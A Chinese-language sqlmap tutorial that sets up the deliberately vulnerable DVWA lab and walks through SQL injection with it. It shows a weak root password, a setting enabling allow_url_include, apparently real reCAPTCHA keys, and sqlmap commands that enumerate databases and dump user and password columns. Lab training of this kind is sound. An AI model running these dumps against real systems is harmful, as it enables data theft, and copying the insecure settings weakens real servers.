Sqlmap工具
什么是SQLmap?
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)
sql注入概述:
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库
比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击
安装
官方地址:sqlmap.org
下载安全测试环境DVWA
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞
官网地址:http://www.dvwa.co.uk/
首先安装python
yum -y install python
python -V
Python 2.7.5
sqlmap安装
sqlmap 的安装比较简单,把源码下载下来然后上传到linux
[root@localhost ]# cd /usr/local/sqlmap
[root@localhost sqlmap]#unzip sqlmapproject-sqlmap-1.3.7-24-g6b88fa3.zip
[root@localhost sqlmap]#cd sqlmapproject-sqlmap-6b88fa3/
[root@localhost sqlmapproject-sqlmap-6b88fa3]# ./sqlmap.py
设置环境变量
[root@localhost ~]# vim /etc/profile
alias sqlmap='python /usr/local/sqlmap/sqlmapproject-sqlmap-6b88fa3/sqlmap.py'
[root@localhost ~]# source /etc/profile
安装渗透测试演练系统DVWA
[root@localhost ~]# yum install -y httpd mysql-server mysql php php-mysql php-gd
[root@localhost ~]# service start httpd
[root@localhost ~]#service mysqld start
vim /var/www/html/1.php
配置mysql数据root用户密码
[root@localhost ~]# mysqladmin -u root password "123456"
[root@localhost ~]# mysql -u root -p123456
解压缩DVWA-master.zip
[root@localhost ~]# unzip DVWA-master.zip -d /var/www/html/
[root@localhost ~]# chown -R apache.apache /var/www/html/DVWA-master/
编辑/dvwa/config/config.inc.php
[root@localhost ~]# cp /var/www/html/DVWA-master/config/config.inc.php{.dist,}
[root@localhost ~]# vim /var/www/html/DVWA-master/config/config.inc.php
$_DVWA = array();
$_DVWA[ 'db_server' ] = 'localhost';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '123456';#只需要修改成你的mysql的root用户密码
vim /etc/php.ini
allow_url_include = On
service httpd restart
访问浏览器
reCAPTCHA概述:
CMU设计了一个名叫reCAPTCHA的强大系统,让他们的电脑去向人类求助。具体做法是:将OCR软件无法识别的文字扫描图传给世界各大网站,用以替换原来的验证码图片;那些网站的用户在正确识别出这些文字之后,其答案便会被传回CMU
需要去 https://www.google.com/recaptcha 注册
[root@localhost ~]# vim /var/www/html/DVWA-master/config/config.inc.php
$_DVWA[ 'recaptcha_public_key' ] = '6Lcz4a0UAAAAADhNAikah_zzlVTe53hDzIl-s69W';
$_DVWA[ 'recaptcha_private_key' ] = '6Lcz4a0UAAAAAMTabebYmhoNK5e1wEwLvQo2EnKH';
service httpd restart
dvwa的登录界面的默认用户名和密码为admin和password
SQLmap探测sql注入漏洞 :
提取cookie码
Sqlmap常用参数
判断注入
Python sqlmap.py http://URL -v 3
数据库
Python sqlmap.py http://URL --dbs -v 3
Python sqlmap.py http://URL --current-user -v 3
表名
Python sqlmap.py http://URL --tables -D 数据库名 -v 3
字段名
Python sqlmap.py http://URL --column -T 表名 -D 数据库名 -v 3
内容
Python sqlmap.py http://URL --dump -T 表名 -C 字段名 -D 数据库名 -v 3
DVWA测试环境加了cookie
命令改动
1.数据库
sqlmap -u "http://192.168.6.142/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=1oq4a2d8e2u27bhjs9t344t652' -b --dbs -v 3
2.获取当前用户
sqlmap -u "http://192.168.6.142/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=1oq4a2d8e2u27bhjs9t344t652' -b --current-user -v 3
3.表名
sqlmap -u "http://192.168.6.142/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=1oq4a2d8e2u27bhjs9t344t652' -b --tables -D 数据库名 -v 3
4.字段名
sqlmap -u "http://192.168.6.142/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=1oq4a2d8e2u27bhjs9t344t652' -b --column -T 表名 -D 数据库名 -v 3
5.内容
sqlmap -u "http://192.168.6.142/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=1oq4a2d8e2u27bhjs9t344t652' -b --dump -T 表名 -C 字段名 -D 数据库名 -v 3
6.提取表中用户与密码信息
sqlmap -u "http://192.168.6.142/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" -D dvwa -T users -C user,password –dump
7.数据库中的表
sqlmap -u "http://192.168.6.142/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" -D dvwa –tables
--cookie
设置我们的cookie值“将DVWA安全等级从high设置为low”
-u
指定目标URL,syql注入点
-b
获取DBMS banner(DBMS:Database Management System数据库管理系统)
--current-db
获取当前数据库
--current-user
获取当前用户
--string
当查询可用时用来匹配页面中的字符串
--users
枚举DBMS用户
--password
枚举DBMS用户密码hash
--dbs
枚举DBMS中的所有数据库
-D
要枚举的DBMS数据库
--tables
枚举DBMS数据库中的数据表
-T
要枚举的DBMS数据库表
--columns
枚举DBMS数据库表中的所有列
-C
要枚举的DBMS数据表中的列
--dump
转储DBMS数据表项